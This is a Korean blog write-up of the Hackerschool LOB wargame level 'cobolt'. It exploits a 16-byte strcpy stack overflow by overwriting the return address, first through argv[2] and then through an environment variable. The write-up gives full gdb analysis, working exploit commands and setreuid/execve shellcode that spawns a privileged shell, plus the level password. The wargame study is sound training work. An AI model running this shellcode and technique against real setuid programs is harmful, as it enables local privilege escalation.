LOB_gremlin
[gremlin@localhost gremlin]$ bash2 [gremlin@localhost gremlin]$ cat cobolt.c /* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int argc, char *argv[]) { char buffer[16]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
bash2 띄워주고~ 소스를 보겠습니다!! 힌트는 small buffer 군요
buffer의 사이즈가 16밖에 안되네요ㅠㅠ
음.. 환경변수를 이용한 방법이나..
argv로 받는 문자열 개수에 제한이 없으므로 argv[2]를 인자로 전달한 후에 argv[2]의 주소를 찾아 RET의 주소를 덮어 써주는 방법을 생각해보겠습니다. 환경변수를 이용한 방법은 킵해두고 2번째 방법으로 시도해보겠습니다ㅎㅎ
복사본을 만든후, 분석 + 메모리 구조를 그려보겠습니다.
(gdb) disas main Dump of assembler code for function main: 0x8048430 <main>: push %ebp 0x8048431 <main+1>: mov %esp,%ebp 0x8048433 <main+3>: sub $0x10,%esp 0x8048436 <main+6>: cmpl $0x1,0x8(%ebp) 0x804843a <main+10>: jg 0x8048453 <main+35> 0x804843c <main+12>: push $0x80484d0 0x8048441 <main+17>: call 0x8048350 <printf> 0x8048446 <main+22>: add $0x4,%esp 0x8048449 <main+25>: push $0x0 0x804844b <main+27>: call 0x8048360 <exit> 0x8048450 <main+32>: add $0x4,%esp 0x8048453 <main+35>: mov 0xc(%ebp),%eax 0x8048456 <main+38>: add $0x4,%eax 0x8048459 <main+41>: mov (%eax),%edx 0x804845b <main+43>: push %edx 0x804845c <main+44>: lea 0xfffffff0(%ebp),%eax 0x804845f <main+47>: push %eax 0x8048460 <main+48>: call 0x8048370 <strcpy> 0x8048465 <main+53>: add $0x8,%esp 0x8048468 <main+56>: lea 0xfffffff0(%ebp),%eax 0x804846b <main+59>: push %eax 0x804846c <main+60>: push $0x80484dc 0x8048471 <main+65>: call 0x8048350 <printf> 0x8048476 <main+70>: add $0x8,%esp 0x8048479 <main+73>: leave 0x804847a <main+74>: ret |
main+3을 보니 0x10(16바이트)의 메모리를 확보하는 게 보입니다!
dummy 같은건 없군요 ㅎㅎ 메모리구조는 단순하겠네요
argv[2] |
argv[1] |
argv[0] |
… |
argc [4] |
… |
RET [4] |
SFP [4] |
buffer [16] |
argv 인자는 프로그램 시작과 동시에 전달되므로, main+3에 브레이크 포인트를 걸어주고, argv[2]의 주소를 찾아보겠습니다
(gdb) b * main+3 Breakpoint 1 at 0x8048433 (gdb) r `perl -e 'print "\x90"x20,"BBBB"'` `perl -e 'print "A"x241'` Starting program: /home/gremlin/tmp/./cobolt `perl -e 'print "\x90"x20,"BBBB"'` `perl -e 'print "A"x241'` Breakpoint 1, 0x8048433 in main () (gdb) x/200x $esp 0xbffff9b8: 0xbffff9d8 0x400309cb 0x00000003 0xbffffa04 0xbffff9c8: 0xbffffa14 0x40013868 0x00000003 0x08048380 0xbffff9d8: 0x00000000 0x080483a1 0x08048430 0x00000003 0xbffff9e8: 0xbffffa04 0x080482e0 0x080484ac 0x4000ae60 0xbffff9f8: 0xbffff9fc 0x40013e90 0x00000003 0xbffffafd 0xbffffa08: 0xbffffb18 0xbffffb31 0x00000000 0xbffffc23 0xbffffa18: 0xbffffc45 0xbffffc4f 0xbffffc5d 0xbffffc7c 0xbffffa28: 0xbffffc8c 0xbffffca9 0xbffffcc8 0xbffffcd9 0xbffffa38: 0xbffffce7 0xbffffd37 0xbffffd4c 0xbffffd5f 0xbffffa48: 0xbffffd74 0xbffffd84 0xbffffd91 0xbffffdb0 0xbffffa58: 0xbffffde4 0xbffffdef 0xbffffe00 0xbffffe16 0xbffffa68: 0xbffffe1e 0x00000000 0x00000003 0x08048034 0xbffffa78: 0x00000004 0x00000020 0x00000005 0x00000006 0xbffffa88: 0x00000006 0x00001000 0x00000007 0x40000000 0xbffffa98: 0x00000008 0x00000000 0x00000009 0x08048380 0xbffffaa8: 0x0000000b 0x000001f5 0x0000000c 0x000001f5 0xbffffab8: 0x0000000d 0x000001f5 0x0000000e 0x000001f5 0xbffffac8: 0x00000010 0x1f8bfbff 0x0000000f 0xbffffaf8 0xbffffad8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffae8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffaf8: 0x36383669 0x6f682f00 0x672f656d 0x6c6d6572 0xbffffb08: 0x742f6e69 0x2e2f706d 0x626f632f 0x00746c6f 0xbffffb18: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffb28: 0x90909090 0x42424242 0x41414100 0x41414141 0xbffffb38: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffb48: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffb58: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffb68: 0x41414141 0x41414141 0x41414141 0x41414141 …생략… |
\x90으로 표시된 부분들이 buffer+SFP부분, BBBB부분(0x42424242)가 RET를 덮어써야할 주소가 들어갈 부분입니다
argv[2]의 시작 주소는 0xbffffb31이 되겠네요
nop을 넣어주고 넉넉하게~ 0xbffffb58쯤으로 공격해보겠습니다ㅎㅎ
[gremlin@localhost gremlin]$ ./cobolt `perl -e 'print "A"x20, "\x58\xfb\xff\xbf"'` `perl -e 'print "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` AAAAAAAAAAAAAAAAAAAAX???? bash$ bash$ id uid=502(cobolt) gid=501(gremlin) egid=502(cobolt) groups=501(gremlin) bash$ my-pass euid = 502 hacking exposed |
ㅎㅎ 성공했습니다!! 랜덤스택이 없는 레드햇 6.2 환경은.. 천국이네요!!
환경변수를 이용한 방법은.. 쉽지만 시간이 남았으니까 간단히 시도해보겠습니다!!
메모리 분석을 통해 buffer(16) + SFP(4) + RET(4) 라는 것을 찾아냈으니 환경변수 주소로 RET의 주소를 덮어주면 되겠네요!!
[gremlin@localhost tmp]$ export ORANG=`perl -e 'print "\x90"x200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` [gremlin@localhost tmp]$ echo $ORANG 1육1????????F??1??h//shh/bin??S???? ?? [gremlin@localhost tmp]$ echo 'int main(void) { printf("ORANG ADDR : 0x%x\n", getenv("ORANG"));}' > getenv.c [gremlin@localhost tmp]$ gcc getenv.c -o getenv[gremlin@localhost tmp]$ ./getenv ORANG ADDR : 0xbffffd5f ORANG 환경변수가 제대로 올라간게 보이네요ㅎㅎ 주소는 0xbffffd5f 입니다. buffer+ SFP 20바이트를 쓰레기값으로 채운후, RET의 주소를 환경변수 주소로 덮어 쓰겠습니다! [gremlin@localhost gremlin]$ ./cobolt `perl -e 'print "A"x20, "\x5f\xfd\xff\xbf"'` AAAAAAAAAAAAAAAAAAAA_???? bash$ bash$ id uid=502(cobolt) gid=501(gremlin) egid=502(cobolt) groups=501(gremlin) bash$ my-pass euid = 502 hacking exposed |
'System Hacking > 해커스쿨 LOB' 카테고리의 다른 글
해커스쿨 LOB ( wolfman -> darkelf ) by ORANG (0) | 2014.10.20 |
---|---|
해커스쿨 LOB ( orc -> wolfman ) by ORANG (0) | 2014.10.20 |
해커스쿨 LOB ( goblin -> orc ) by ORANG (1) | 2014.10.20 |
해커스쿨 LOB ( cobolt -> goblin ) by ORANG (0) | 2014.10.20 |
해커스쿨 LOB ( gate -> gremlin ) by ORANG (0) | 2014.10.20 |